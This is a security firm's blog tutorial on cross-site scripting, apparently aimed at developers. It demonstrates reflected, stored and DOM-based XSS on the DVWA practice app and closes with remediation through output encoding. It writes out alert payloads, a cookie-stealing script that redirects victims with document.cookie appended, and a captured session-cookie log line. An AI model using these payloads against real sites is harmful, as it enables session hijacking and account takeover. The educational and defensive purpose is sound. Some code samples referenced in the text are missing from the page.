Cross-Site Scripting (XSS) continues to be within the OWASP Top 10 (an awareness document that is compiled with vulnerability statistics from security experts across the world). In the 2013 OWASP Top 10, XSS was number three but has since moved down to number seven due to browsers implementing controls to prevent the payloads from launching. While some browsers such as Chrome are continuously working to improve protection, others such as Firefox and Internet Explorer/Edge are trailing behind.

Some organizations use browser protection as a mitigating control, but that does not solve the underlying insecure coding issues and assumes every user uses the secure browser (e.g., Chrome) to access your site.

XSS is trivial to detect using automated tools but varies in exploitation difficulty as some payloads require manual intervention which requires in-depth knowledge of JavaScript.

Unfortunately, remediation efforts are not nearly as trivial. Organizations rely on third-party software such as Content Management Systems (WordPress, Joomla, Drupal) or JavaScript libraries (jQuery, BootStrap) that are not always kept up to date internally. Not staying up to date on new updates could lead complete site takeover.

What is Cross-Site Scripting?

Cross-site scripting (XSS) allows attackers to execute scripts in the victim’s browser which can hijack their session, deface content, or redirect them to a malicious website. Cross-site scripting vulnerabilities occur when a parameter under the user’s control is either reflected (Type-2) to the user, stored (Type-1) and returned at a later time, or executed as a result of modifying the DOM environment (Type-0). A detailed run-through of each vulnerability will also be provided within the technical trenches section.

Reflected XSS is the type we most often see during our engagements, followed by Stored and then DOM.

Impact and Risk

There is a reason why it has been in OWASP for 2013 and 2017. XSS can have huge implications for a web application and its users. User accounts can be hijacked, credentials could be stolen, sensitive data could be exfiltrated, and lastly, access to your client computers can be obtained.

Technical Trenches

This section is geared towards application developers or system administrators who are seeking to understand why Cross-Site Scripting vulnerabilities exist, how they work, and how to properly mitigate them. For those not looking to get deep in technical details, you can skip to the Remediation section.

Types of Cross-Site Scripting

Below are thorough explanations and detailed walkthroughs of the different types of XSS. A vulnerable web application was set up for these examples. If you would like to recreate them, you can visit the DVWA website.

Reflected Cross-site Scripting

Reflected Cross-site Scripting (Type-2) occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request. The data sent to the server is not stored and can only impact the individual that accessed it directly (e.g., navigating to‘Packetlabs’); where the search function will reflect back the JavaScript alert box).

Attack Scenario

The form below is a simple form where your name is submitted. On submit, your name is echoed back to you.

XSS Figure 1
XSS Figure 1

The query is run through a GET request using the name parameter.

Using the most basic JavaScript payload of <script>alert(‘Packetlabs’);</script> instead of a proper name yields the alert we expected.<script>alert(‘Packetlabs’);</script>

XSS Figure 2
XSS Figure 2

Note that this is the most basic exploit scenario. Some situations require prepending specific special characters to break out of specific functions to trigger the XSS.

Now that we know how to trigger the XSS, we can move the attack from a benign alert box to an attack worth mentioning by using this vulnerability to capture the authentication cookies of anyone that navigates to our vulnerable URL. The URL below will use the document.location to redirect a user to the vulnerable website while also appending the victim’s cookies.<script>document.location=’’+document.cookie;</script>

If an authenticated user is coerced through phishing in opening the link above, their authentication cookies would be caught in the web access logs of the vulnerable website. Below is a snippet of what the attacker would see in their logs.

GET /cookiestealer.php?c=security=low; security=low; PHPSESSID=evqd9m6lhskh4d2ce7t3lrcsm5

From here, an attacker would only need to replace their cookie with the victims to obtain access to the victim’s account. The attacker would need to act fast as the authentication cookie could expire if the victim logs out or closes their browser.

Stored XSS

Stored XSS (Type-1) generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field. A victim can retrieve the stored data from the web application without that data being made safe to render in the browser. The only difference between this and Reflected XSS is that the JavaScript will be triggered for every visitor to the site. (e.g., just navigating to will launch the attack.)

Attack Scenario

The form below is a guestbook where a name and message are submitted and stored within the page. You can see where a Stored XSS vulnerable would be valuable here.

XSS Figure 3
XSS Figure 3

The basic alert popup box technique of would work in an identical manner to the Reflected XSS above. The only difference is that the payload would launch when anyone navigates to the guestbook page. In the gif below, we input the payload, navigated to the page that contains the name form from the Reflected XSS attack scenario and then went back to the guestbook.

XSS Figure 4
XSS Figure 4

Notice that the script is run as soon as the page is loaded. Attackers can now use this Stored XSS to obtain authentication cookies without requiring any coercion. Instead, they upload the payload to the guestbook and wait for visitors. Once the visitor navigates to the guestbook page, their cookie details can be immediately sent to the attacker. The visitor has now become the victim.


DOM-Based XSS (Type-0) is a form of XSS where the entire tainted data flow from source to sink takes place in the browser where the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write).

Attack Scenario

The form has a simple purpose where it is used to select your language. On submit, the default language is set and displayed in the URL.

In order to fully understand how this exploit will work, the source code of the form will need to be reviewed. Lines 4 and 6 below shows that data is read from document.location.href and passed to document.write().

Knowing this information, we can yet again attempt the basic JavaScript alert popup demonstrated earlier.<script>alert(‘Packetlabs’);</script>

XSS Figure 5
XSS Figure 5

Note that the XSS payload was processed within the client and was not sent back from the server. This is the key difference between DOM-based and Reflected or Stored.

DOM-based XSS is becoming easier to identify as automated tools are becoming better at identifying them. However, they do take understanding of JavaScript to exploit.


Cross-site scripting vulnerabilities exist due to the absence of two countermeasures – input validation and output encoding. Together, these controls restrict impact by sanitizing the user’s input to remove special characters and then encoding any remaining special characters before returning the content to the user.

  • Input Validation: It is recommended that the user’s input is sanitized by removing special characters <,>,’,”,&,/ and JavaScript onEvent actions.
  • Output Encoding: If special characters are required in the affected parameters, output encoding should be used to replace special characters with their HTML equivalent. (e.g., < becomes <)

Details of how to remediate each of the exploitation examples above will be shown below.

Remediation: Reflected

The source code of the example used above is below. Notice how the input is echoed back without any sanitizing or encoding. This allows the JavaScript to execute. Below we will show how output encoding would solve this issue.

JavaScript can be inserted into HTML without any restrictions. Below is the HTML source of line 6 above when the XSS was loaded.

Replacing line 6 above with the following will present different results.

The htmlspecialchars function will convert the predefined characters “<” (less than) and “>” (greater than) to HTML entities and disallow the XSS from loading.

XSS Figure 6
XSS Figure 6

Remediation: Stored

The source code of the example used above is below. The input is sanitized, but only for the “/” (forward slash) and “\” (backward slash). The mysql_real_escape_string prepares the data to be safely inserted into a MySQL query and does not prevent XSS.

Below is the HTML source of lines 6-10 above when the XSS was loaded.

Adding an additional line for htmlspecialchars to both inputs will again prevent the XSS from triggering.

XSS Figure 7
XSS Figure 7

Remediation: DOM

The source code of the example used above is below.

This is not surprising given all code is executed within the client. In order to remediate DOM-based XSS, data must not be dynamically written from any untrusted source into the HTML document. Security controls must be in place if the functionality requires it. It may involve a combination of JavaScript escaping, HTML encoding, and URL encoding.

For more specific recommendations, please consult the OWASP XSS Cheat Sheet.

How we can help

The Packetlabs team is composed of highly trained and experienced ethical hackers that focus and excel at detection and exploiting advanced vulnerabilities that are often overlooked and go undetected. Our team members have some of the highest regarded training when it comes to penetration testing including the Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), GIAC Web Application Penetration Tester (GWAPT), and GIAC Exploit Researcher and Advanced Penetration Tester (GXPN) certifications. Contact us to learn more about how we can help.